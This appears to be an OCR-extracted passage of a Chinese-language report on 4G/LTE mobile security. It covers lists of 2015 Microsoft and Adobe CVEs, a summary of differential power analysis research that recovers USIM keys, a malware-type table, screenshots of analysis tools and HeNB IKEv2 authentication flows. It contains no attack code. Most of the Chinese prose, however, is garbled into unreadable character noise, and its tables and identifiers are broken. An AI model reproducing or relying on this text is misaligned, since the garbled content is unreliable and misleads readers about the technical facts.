Microsoft Schannel Spoofing Vulnerability
(MS15-121)

CVE-2015-6112

LR FF Y B A FREH R
T AFEZ AL L FR R TLS
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https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4835
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4881
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4843
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4843
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4883
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4860
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4805
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4805
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4844
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4901
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4868
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4868
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4810
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4806
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4806
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4871
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4902
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4840
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4840
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4882
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4842
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4734
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4734
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4903
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4803
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4893
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4893
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4911
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4872
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4906
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4916
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4908
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4908
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6100
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6101
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6102
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6102
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6103
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6104
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6109
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6109
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6113
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6112

® B AT R

B33 (% 19) 277 % PR

L

ELFR

Microsoft Windows Winsock Privilege
Escalation Vulnerability (MS15-119)

CVE-2015-2478

SRR -t N L
(3% 18 Winsock ¥ v — 1B 2L7% b)) s %
=y ,:l“ “fu’fg L o

Microsoft Windows Graphics Component
Remote Code Execution Vulnerability
(MS15-128)

CVE-2015-6106,CVE-2015-6107,CVE-2015-6
108

GRS TR E E N
FHAGTEE ARG -

Adobe Flash Player and AIR Security Update
(APSB15-28)

CVE-2015-7651,CVE-2015-7652,CVE-2015-7
653,CVE-2015-7654,CVE-2015-7655,CVE-20
15-7656,CVE-2015-7657,CVE-2015-7658,CV
E-2015-7659,CVE-2015-7660,CVE-2015-7661
,CVE-2015-7662,CVE-2015-7663,CVE-2015-8
042,CVE-2015-8043,CVE-2015-8044,CVE-20
15-8046

Adobe = 7 %2015 &4 * ) %5

%miﬂﬁﬁ’ﬁgb*%?*%
ﬂK§ Foal h SErL o Fpt o i@ H
ﬁﬁwﬁian&r”uﬁi»ilz
Fxo o

AH-

Microsoft Windows NDIS Privilege of Elevation
Vulnerability (MS15-117)

CVE-2015-6098

Microsoft ~ Windows  Vista  SP2,
Windows Server 2008 SP2 and R2 SP1,
and Windows 7 SP1 i Network Driver
Interface Standard(NDIS) s % = % JZ
m%%h#%%@%ﬁéﬁﬁwﬂﬁ
U AR B kA e

Microsoft Internet Explorer Cumulative Security
Update (MS15-124)

CVE-2015-6083,CVE-2015-6134,CVE-2015-6
135,CVE-2015-6136,CVE-2015-6138,CVE-20
15-6139,CVE-2015-6140,CVE-2015-6141,CV
E-2015-6142,CVE-2015-6143,CVE-2015-6144
,CVE-2015-6145,CVE-2015-6146,CVE-2015-6
147,CVE-2015-6148,CVE-2015-6149,CVE-20
15-6150,CVE-2015-6151,CVE-2015-6152,CV

¢ 7 imAKBE > HY IE sl
LERESS N S S S S B A
FHA e TP md ) FasS
B i@ B A AR i Jﬂ“f%
Lo he kB R FILE LA e
FoR@ X LFRE -

4 s SN 266
¥4F FRRREFTLXHIFTY

¥ 438 A2 AT EHREFY



https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2478
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6106
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6107
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6108
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6108
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7651
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7652
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7653
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7653
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7654
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7655
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7656
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7656
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7657
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7658
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7659
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7659
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7660
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7661
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7661
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7662
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7663
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8042
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8042
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8043
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8044
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8046
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8046
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6098
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6083
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6134
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6135
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6135
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6136
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6138
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6139
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6139
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6140
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6141
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6142
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6142
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6143
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6144
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6144
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6145
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6146
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6147
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6147
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6148
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6149
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6150
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6150
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6151
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6152
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6153
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E-2015-6153,CVE-2015-6154,CVE-2015-6155
,CVE-2015-6156,CVE-2015-6157,CVE-2015-6
158,CVE-2015-6159,CVE-2015-6160,CVE-20

15-6161,CVE-2015-6162,CVE-2015-6164

Microsoft Office Remote Code Execution
Vulnerabilities (MS15-116)

CVE-2015-2503,CVE-2015-6038,CVE-2015-6
091,CVE-2015-6092,CVE-2015-6093,CVE-20
15-6094,CVE-2015-6123

Microsoft Office # ik #3c & * %
g % e & 4 Office 4%
I e Y R L
FERY FRURGEELASS -

Microsoft Windows Kernel-Mode Drivers
Privilege Escalation Vulnerabilities (MS15-135)

CVE-2015-6171,CVE-2015-6173,CVE-2015-6
174,CVE-2015-6175

Windows Vista SP2, Windows Server
2008 SP2 and R2 SP1, Windows 7 SP1,
Windows 8, Windows 8.1, Windows
Server 2012 Gold and R2, Windows RT
Gold and 8.1, and Windows 10 Gold
and 1511 fgFhp & * K FiEH gl

T enfe N B8 % Sl o

R kR - Qualys

PR35 ELY FIP PR E TR RE 47514 i) 3E s<#F (Side-Channel Attacks)~ e {7 R
Ao P I B R ERAYAETREARAEN ROT A 7 BT e

S
f&> %

PP IT B AT BB ShE 2 E 0 R 2RI R4 o & 2005 £

%% H e B ¥ > % (Cryptographic Module Validation Program > CMVP) #7 # #%2_ Physical

Security Testing Workshop » £ ¢ d @ R #L & po gt 4877 3 #7(Institute of Software, Chinese

Academy of Sciences)£ B 75 it % » £ B % % (State Key Laboratory of Information

Security) 77 YongBin Zhou ¥ DengGuo Feng #% !

1 — > Side-Channel Attacks: Ten Years

After Its Publication and the Impacts on Cryptographic Module Security Testing”#; < 81y

#;] DR RE S P 2 e EH RV TS g qi“ Fl > % 305 A6 e FIPS 140-3
TP 55 B R PG B B 0 I3 3p s 8 (Side-Channel Attacks ) 7 # 3% 474

8 Zhou, Y., & Feng, D. (2005). Side-Channel Attacks: Ten Years After Its Publication and the Impacts on Cryptographic Module

Security Testing. IACR Cryptology ePrint Archive, 2005, 388.
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https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6154
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6155
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6155
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6156
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6157
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6158
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6158
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6159
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6160
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6161
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6161
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6162
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6164
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2503
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6038
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6091
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6091
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6092
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6093
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6094
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6094
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6123
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6171
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6173
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6174
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6174
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6175

EEAHTIRAERAETE ($ 1) 2275 % HAFL
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i 10 # {5 > 2015 & 2 & d /5 2 id ~ § (Shanghai Jiao Tong University) ~ ¢ B

Z 33 4287 7 #7(Institute of Information Engineering, Chinese Academy of Sciences)
2Junrong Liu f= Yu Yu #& 1 Small Tweaks do Not Help: Differential Power Analysis of
MILENAGE Implementations in 3G/4G USIM Cards™# < %2¢ 3% 7| ip|:€ if 7<% (side
channel attack) © 5 & - BAZRAZE L HE B> o] L% fte Gt » K H o B
< )i% ﬁv:ﬁ?;—‘% RAR IV Sl e ;‘g—*ﬂﬁr%ﬂ% 7 i * AES-based MILENAGE algorithm =
USIM + » # 3% & Differential Power Analysis attacks = 74 e% 4 B i USIM + + &4e
B

Differential Power Analysis shrc# H s 2 A% § & ¥ AR 77 b ehdp 4 & & 818
B B O R PR c BET R Y PR R R{rik g 3t
B RAERe A e g o ik FR S P i R BT A #ﬁ IR
RERLTRBEZ BB/ F o PFERY TR B TR 4581k FARAE
#»EF T B~ 7§ %% 7 % % Side-Channel 4 47 #ic %8 -

W) 4- 58 Differential Power Analysis rc 8 i * &% &

T kR - Springer International Publishing [Junrong Liu et al.]

® Liu, J., Yu, Y., Standaert, F. X., Guo, Z., Gu, D., Sun, W., ... & Xie, X. (2015, September). Small Tweaks Do Not Help: Differential
Power Analysis of MILENAGE Implementations in 3G/4G USIM Cards. In European Symposium on Research in Computer Security (pp.
468-480). Springer International Publishing.
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i USIM #3% tc e inziop 31 ¢ 2 K, Ki, Ke, OPc, €1-¢5, 115 » 3% 2 g4 #
7 KO 47 #- b i iz Operator-defined parameters 52> & ¥ P B 23 S0 Q2 Feh
PR - B TR 422 R o IR RATR OB < X 10~80 4 & e
200~1000 i o &> ¥ & 2 F L ﬁ TABER DER o ARG 2 s

*::T? -l;‘ll__;l'(}" @\l f{r@lﬁhl”zll‘%&u7}\:iiﬁao

%4-22 2 R R G #'ﬁ USIM #l:# 5% %

USIM | operator | manufacturer | technology secrets # of traces | time
#1 | C1-1 C1-| 3G UMTS | K.OPc 200 10mins
#2 | Cl-1 C2-1l 3G UMTS | K,OPc 200 10mins
#3 | Cl1-1 C1-11l 3G UMTS | K,OPc 200 10mins
44 | C1-2 C3-| 3G uMTs | KOPGrL 000 60mins
r5,cl,...,ch

#5 | c2-1 C2-1 3G UMTs | FOPerL - 1000 70mins
r5,cl,. .., c5

46 | C1-3 C1-1V scLTE | KOPerL 1600 60mins
r5,cl,...,c5

47 | cl13 C1-11 scLTE | ROPCrL 600 60mins
r5,cl,. .., c5

48 | c2-2 C2-1i scLTE | KOPerL 1600 60mins
r5,cl,...,¢c5

¥ kR - Springer International Publishing [Junrong Liu et al.]

FIPv ook B B+ Gl R iE R AR 5 24 32 7 4e Common Criteria 2

FIPS (Federal Information Processing Standards) % % > {43 » #-7 5 § # k% 24K
gD o &g 4ot o ) F 52 ¥ (Side-Channel Attacks)F — B fx & 4]z i » 78
PALFERT - FRPWERTA LLF mABRENT 2R EESHARR MY
ZERG PTG B AT UL 2 ERE AR ERTIBEF T R LA
ML 22 BB H 4% -
(=) =L

Wt gk sAR AR S 0 KA BE PR G L B SR F X A g s

BRI P -RPEF BIERAT M Al Y FTIREF > R ESRETE N
FI R A BT RSP BRI EN T E L ABRE -
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3 4-23 BARF 2 S 4

%3 O N
P SATEEEZs EE 3 N I e R T T S ey

B F T
# (Buffer

Overflow
Attack)

o }{y'ﬁﬂ M AR TR Fﬁ%]% < A fﬁrﬁ:m; S A %}#‘hﬁ;
AR AR 0 B (S 15 T E&«%m#’bﬁ; o b f@IJ:'?—’ IR B G
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% 4-24 ER AN Z

XA s P
FEET T ERB O c BAMELBSFE A H ARG
R R iR AR A R RN R 0 FARRE AR A
(Virus) PR pd s §RFRAF BFI D ERALPREFER
WA A E R ¥ B EIRTE o
ﬁ?i?u??ﬁia%\ﬁ%%Q TEE T R
T RN A iR R~ IR AR R IS 0 IRAG F RIS LS
(Worm) pEag 4 Wengksh A R gLt RN Rk
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(Trojan Horse)
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3. F ArEms
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EREL ERPIFEYGE
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Fenfpfa 42 A4 A B 25 o p BRI A R R A Al g s e F
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= - =)

|Please input path of target file, or use the Browse button to choose | ‘ ‘)L . ‘ [ 'n:‘ ‘

T '

W 4-59 pfit2 it LW

FH AR RE X FRE 2RF R

‘- Analysis Completel £

Threats _______
Unix Path found =~ ===2z: -
Packed section found !
Packerfound T 7T T

Advice:
A 1. Please do not open or execute this file,
\ 2. Please convert the file format before opening it.
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AN EFHRAEY P DT AR T IR -

BN ETERFGFIASF P PR TR blArE g -

AREAT LM st E RN R A

AP ETTRRELE AN BRI Y OER TS o

N EE G EFREL o

WA T oAl AR ROT R MRS A s nriece 2o

LEERRE FARAESF PRRBRREL Y BT REL A BERRBEL
Mmoo F4-6L G p BN AT B HR o A AR A ET AT
WLoWAEATIF AR 2 Bfgndte X 2 T R Y AT R R S o

ERAPHBARIL S 0 T T ] e R T e E

Report for MBA _report

/Documents and Settungs/dens H0 wov.exe

Process tainted

«@ 100022, TCP 1036 <= 22 , Ouf? 8 Ouwed OuSf IAN Cocd Oobd Owa® | Oxfd Owbd 0xd¥ Oul9 Ouca + Ould k Oule Oubf O

-+ C
=@ 10.0.2,2 , TCP 1036 -» 22, OucB OugS Ouxbe Cuxla Cud¥ Oubf Ouef 0 OuBo K Oucd Oxla Oxld y Oufc & Oncd fA Omed &
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(=) Jk SUBRI 87 4 Fopir

i \&ﬁ%mﬁﬁﬁﬁ§W%ﬁw DB 0 Aok s T gy B E
A 3R Hendal ﬁﬁmﬁ#<kmmﬁﬁﬁﬂﬁ°d*ué¢éﬂ‘ &
ik BT R BB A E 7 F xinpiﬁﬂﬁ“frfﬁ%%? YU T AL 2 R R
15 RFERAITDP A RIERPE L FLERG > LR
3RS Ak o AREOT B SR 2 SN R 2 g L
FERREDHREPB T P EERRE 2 ¥ Hef 2k T’Fﬁ*‘u
GRERCIE: Eah LRI R Sl S R L S AP L AT

FlaEERES .
pE AT R o

A 'f'fr E}:l&‘:"i' vl 2 %;Qﬁi; o

T ¥ g2k (break point) °

O BB AT AE B

Bl 4-62 5 - B2 B FRRL LR T b o BT R TR B 0
TR g S T IR TR HHER c SERA M6
de b P ErEL s TV b R BdE N A A TR B BN R A
AR E P L RFES B B S VI a1 S BRSSP S
AT e TR LS T A L R RN S e

Fobo ZEcE g LY - BRBANT AT RE S ERASAATRL Y
FAATfb R FERAN P BB AT T o hfcl T S R4 iR
AP RS S FERFFREINATRSEFRL AP AR - a Ty A
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Functions Supported

(Dis) assembler:

. Look Back

. Look Into

. Previous View

: gotoEIP/Address

. Step Into
o . Step Over
Stop
L e 2 9. Run Until Spawn Code
0d0401Les M5 B 10. Instruction Assembler
0x004011c8 NS W
Mnenomic tips:
1. ASClI String.
2. Unicode String
. 3. Function Name
$0A0PILC:0 Breakpoint 4. Function Arguments
Register editor control Memory editor:
1. Goto Address
name type | history > 2. Searchin Hex

= T iopDeleterle kemel ] i

€ ooosoinad | £ v Memory editor O )::c::x:ﬁu »::: 431 %fg%grl)!‘ Ee!%t("
r
=

[radress [rex fsess T CmsatvalieKey kemel < i
55 0 0 5 2 5 e 2 B W R AN RENUBRRAMNE| T Crosetevaexey  kemel Register editor:
RESIIRRSERRSSERR Wb e

. Breakpoint control:
R NRARRRRNAE

l1“’93"“('TOP“WI)"M B2 e 5 e R HRANRRNRRGE i e 1. Add/Remove BP

program to analyze 20 O O BN ARORRENRER 2. Enable/Disable BP

] 58 B B W HERE RN NHR AR RO
‘. 1 s 00 0 0 B B B a e 0 00 R HEARUHNRNANEE Function tracer:

1. Enable/Disable Tracing

Networ. Physal Memary

Tant Anass About

PID : 1280 : -0Xx
® & @ (Dis)assembler Mnenomic tips
0@ o

oNS IR W=

0s:

— 2. Invocation History View

W4-62 2FHE1LET LW

2 A AT BRI

frR & P Fp A E AL SRR L T 2 ehE &

FRIAPHE 2o s £ —P"é’ﬁ?‘;‘%ﬁé‘}:# BE o @

AAHDINR S RETARE NSRBI RRFDEE T 7ot RRAEDR G o 7
C A AL AP E TR A AR ERF AL CAT I RPIBFFEFMA

s

£

-qn

HE ol

(-) A= 2rak

2 [TR33.820]% » 487 H> 0 Ahsbent 2P & > £ 5 328 WAL FTLE A A
BIFT R FARME 2% HE LY 0 £ 426480 BTG F B TR o
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% 4-26 % > & £ 4

FrR L W
B3 % 2 Rfe OAM 2. F 5§ B i » i
WA | R R R RS R e Bk SRR R FRIL AR

o \ a @ 22 573
\‘2’;’_ ’ I.E 3‘53‘4}—}7/\ p:.‘»p’;ll f& F—mlFE] l:),‘ i) \‘fl‘l' IIH_FE

TERTEEY TN E N AR - Ty ey
A¥ | FHGOERE 2R uﬁéﬂﬁﬁ»uamwmﬁmwk\wo
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FEDPRERE T | ARBRARDILS SR FHRATREPTENE BRI
da | FR T2 AFERPRREL G RE -
S A P R T T AL L
Fr i FE YT PR F3 3T e
yp |FRIERE2 ?'J?*T'%ala"';ﬂ*'lﬁ-’w BEKfR T K OTRUFA o
Ty |HPHE? fEEgm .
Ta (PETTEERR Ly g n gy nns gushope mpai
oL T ) LAt
5z gk | WouLz pER TR LA
B Hi: kq FJ:' Hé;-F'& Yi ? f_‘:\; i"ﬁﬁ’ﬂo

e ’

AL % R 3GPP

(=) A=T2si

ARERALALEBER 2 F 2HNE BN F

1. R&E

B v Ak sb en i (B R e 3T [TS23.003] § ¢ 0 4t B (3l B 5 P PR GRE AR L
ATE R F i PSR A - & fhe R ATREE kA AN O 4 A A2k »F (Public Key
Infrastructure » PKI) » & B fheb T i 2 4f2 R X2 d TR FF L AU
BRFBEFERE -V BELY VRBIALDIREN U EAE AR
Fy o X 2REY FTRE-HOHE RH DI TCFHEFRE - AR IRLET A
BN - BE ARG 2RE LR e @1 IKEV2 i@ e = IPSec
SURIE o % AR A AR A oAl Ak g Tk M2 B e i o # % TLS $ 2
e A Rk H Tk e TLS Wi o B g Rl g 3 & @ 7 3% Hosting

Party (HP) ¥ % ia » s sed LFHH5 2 d £33 7FiaF -
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2. R x>

AP XA GREFIERE DN FHRGEL 2 on FAERR P EFE A
2T REERE R AL L 2R FHMT SRS 2 4 7% 2>(Trusted environment >
TrE) E_i=3tfhsp ko Svenis g A # - gg&@sg\w—a;a;ﬂ TIE - B & > FEE Az
ER R P R ATEE AR R BFEFT - Hehim s o TIE eh% = B i £
A AT EARY O TR FETRGE R D o T F TIRB TR SN A
HERFRSEETIEF P A F > 7w B 4@ LA ATEY =4 1Y
T RIS cTIE Y P MRIREN AR EDFRT AHET GAEF R LK
FAEEREBEERFES AN L KETE od ) AR hT 2 A TS
TR RT Rt b h e B R EF P RET G S RN -

3. Hosting Party #i- %

50 FEE AR en® > 0 % JE 1 % Hosting Party it o pt e 22 UICC > e 59 %
PEGF R A TR 2ORBER Y PR EGIRR SR F
4, $H@E >

PRE LA A AR HIED IR R R R Sk
JT.,LFI‘ {TI’E v Eﬁ’fgj\i—; ;? A Zﬁﬁfﬁt;{ﬁﬁ'rﬁ?ﬁ'—;ﬁ ’ ?‘ E'J%S&-Fg/fﬂ\%—}? ij'z"?biﬁ/z{ Tﬁ'—‘?{_’é‘_ .
WP Remsd LY QT e -

\\\?{r

5, #ax 2>

B g 2R B BRI Aok 4-27

% 4-27 i A% 2 E 5 £
da™g F e

A o % >RHiE (HeNB < | IPSec with Encapsulating Security Payload

SeGW) (ESP) intunnel mode

/FV A AFE LR o 2R LS
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6. TEHREZFFRY

f&“&x*"_ﬁ_mﬁfiﬁiﬂ'%&%?% s f{]:ﬁ;‘\’;’ii;#'%! ttfé?ﬁﬁﬁ?ﬁ;—’»

£
BRFA NG R RY o Bt Bk s B A I ARG
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P

(2) AzppIehg 225

PTG AR N FRAT R T enk D AR R AR o

1 IR EE2ENKE
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LSBT CHBRBEREL L HFT LERRET § L ERFOIT P T
HFeo- LV RIERESFE2 U € BapBkmAst? TR HE B R~ o

¥R R EARR IR A T S RIRE K R .
2. Hosting Party # % e# '$

Hosting Party #-ie4% 1 % >3 5 B E Tk 5> i EAP-AKA it (7inz i * o

7 ¥ 4. Hosting Party chi@ 2% fei8 (7 - X PEALH 8 R 2 > b A T

' & 4 Hosting Party - eh% * | o i3 2k =b 48 3R Hosting Party i i@ 314 % » BRI

s MPRLY A6 LR e pR Ol AT R A E

TE % > R g aE 2 A FE i Hosting Party RLE o ARBE chARL B e B R &
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4, F AR AR

FRAEBEEF L 2en? PRl 2PE R AL PRk iim@mﬁﬁo
PIEE TR 3 RS DM E BB e A LR A R o F]
PERF ek RS JE AT % e e b § Hedl A b fosc A sk B 1k sead = TLS R P
S RERAMA A F IR DG E o RA o § AR RSTE 2 BRAPFEPE > PR R
AP IRNPIR BB RF T 0 27T WREANMEBFA T o F N AT &
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A TR PR G T BRI Y 0 M T AR B R o dogt - ko A nET gk
LR SRR SR RS 3 L AT £ I AR T
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5 PIVEH T

BAEELAZY o2 Y FAMOT 2FEEF T ST DR FL
U @i o 1945 [TS33.320] ¢ e 0 % F RS LT X DI R LE B o
F RS BRI - BE RS A RS RS R RS
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() AB X 2WEF AL 2 A

Al AAEZ 2HEFR* @ RE X 2388 FP oy AR X 2HERF
HE XA IPEFRR D AR ZRRIELLRKRE FFE FREANLORER A
Tk AL XA ER TR 0% 2ARR o
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2. EKER
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BRI E % 2 W2 B e E ot [TS33320]% ¢ » ¥ b A9 ek g
Gl 06 AR B & RFCA306 “r4% 41 el 2o

1)
@)

3)

(4)

()

(6)
(7)
(8)

MR A2 % 2 RGE R SRR AR R 4- 63 4 T A G T SR 3R

f&‘:&%ﬁd FRIEERBESL D THEEE R Tk E o

2 0 A n 1t IKEV2 d3E333F 0 &‘:‘?g L% >R D IKE_SA_INIT ;j‘r o H ¢
e7HDR % IKE & header » @ SAIl % % 3 7 3% 2k =k e 3% IKE_SA & % ehde B iF
;2 > KEi R4 Diffie-Hellman #7@& * ed=45® - Ni 5 - B3 ¢ €48 93tk
nonce -

Z2r2MEw R IKE_SA INIT > o b & RFEH ey g o 2t iP
€ EE - B eh4ie BT Y2 > & % Diffie-Hellman ¢4 4 2 3% in 4z -

R BAELDREELE W A%KEY 0 BFFY ¢ 1 CERTREQ ko
X 2WE RPGEN AL b s o ) SARZFNELHFIA L TR Y P
% > fdicr iR B RFCA306 - SK{}# 7 42557 cp 5 Eptse %7 2
g et g

% 2 E P R IKE_AUTH 388 > #- ¢4 a2 ¢ ch AUTH £.F 2 /> &
¥ g BRI R Rl

SE il W15 X MR K€ 8 IKEAUTH v i

bt & AUTH M3 % 2 Rgand > 37 4 4 CERT B % E.F § 2% o
EE XMWY B RITIF E AT AR Y 0 IKESA 5 &0 i § #%0 IKE SA

'% ’ T'fr'é*\_hlpkg MR FE o
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‘ 1. Device start-up ‘

2. IKE_SA_INIT Request
HDR, SAi1, KEi, Ni

3. IKE_SA_INIT Response
la

4. IKE_AUTH Request

CP(CFG_REQUEST), SAi2, TSi, TSr}

-

HDR, SAr1, KEr, Nr, CERTREQ

HDR, SK{IDi=FQDN, AUTH, CERTREQ, CERT,

SeGW

—

5. Verify HeNBs certificate

6. IKE_AUTH Response
< HDR, SK{IDr, AUTH, CERT,
CP(CFG_REPLY), SAr2, TSi, TSr}

7. Verify SeGW's certificate

8. Delete old IKE SA

(if existing)

W4-63 AAEZ2 X 2WEFEHRB2 AR

7 kR © LTE Security [Dan Forsberg et al.]

3.

IKEV2 2 3§ 3 4.4

B2 IKEV2 ehp L4530 [TS33.210]% # » # ¥ 4x )%

R Y e

IKE_SA_INIT 2 412 2 IKE_AUTH 2 # - & B XTGP 7 2R 4527[TS33.310]% © >

TR IR R X509 a2 & 2WE Y AR BHE

4. BHEEI
IKEV2 % @ B A ek 2 % 2R GE B enil AT o 4o
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Abstract
Keyword : 4G, LTE, eNodeB, HeNB, DDoS, Uu, S1, X2, Mobile Security

The rapid development of technology in the area of telecommunications keeps
improving the integration and innovation of InfoCom technology and application
service. However, on the other hand, it brings brand new challenges for information
security. In the light of this, in order to set up a better environment for mobile
broadband service and to emphasize the safeguarding for mobile broadband
